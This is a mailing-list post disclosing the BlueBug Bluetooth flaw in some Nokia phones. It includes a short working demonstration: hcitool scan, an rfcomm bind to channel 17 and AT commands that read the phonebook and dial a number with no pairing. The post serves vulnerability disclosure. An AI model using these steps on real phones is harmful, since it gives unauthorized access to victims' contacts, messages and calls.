Re: Bluetooth: BlueSnarf and BlueBug Full Disclusore

[Przemyslaw Frasunek <venglin () freebsd lublin pl>]

Adam Laurie napisał(a):
> Details of the attacks were disclosed at the Chaos Computer Club's annual
> congress in Berlin - 21C3:

According to the [1], not all details were disclosed. Actually, there is no 
reason for keeping them secret here, while they are well known and actively 
exploited in the blackhat community.

The Bluebug, as described on [1] is trivially exploitable on some non-Symbian 
Nokia phones. It allows attacker to create serial profile connection without 
pairing or asking for permission, therefore it gives unauthorized access to all 
AT commands. It is possible to read/delete/send SMS messages, add/view/delete 
phonebook entries, change call diverts, initiate voice or data call.

Demonstration on Nokia 6310i:

laptop:~# hcitool scan
Scanning ...
        00:60:57:38:8C:D8       Nokia 6310i
laptop:~# rfcomm bind /dev/rfcomm0 00:60:57:38:8C:D8 17

Now you can use plain AT commands, as described in manual [2] or Gnokii [3], for 
example:

laptop:~# cu -l rfcomm0 -s 9600
Connected.
[ATE1]
OK
ATI
Nokia

OK
AT+CPBS?
+CPBS: "SM",0,100

OK
AT+CPBR=?
+CPBR: (1-100),48,18

OK
ATDT+48609xxxxxx
OK


As you can see, the bug is really trivial and looks rather like backdoor.


[1] - http://www.thebunker.net/security/bluetooth.htm
[2] - http://ncsp.forum.nokia.com/download/?asset_id=11579;ref=devx
[3] - http://www.gnokii.org/

--
* Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NICHDL: PMF9-RIPE *
* JID: venglin () jabber atman pl ** PGP ID: 2578FCAD ** HAM-RADIO: SQ8JIV *
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html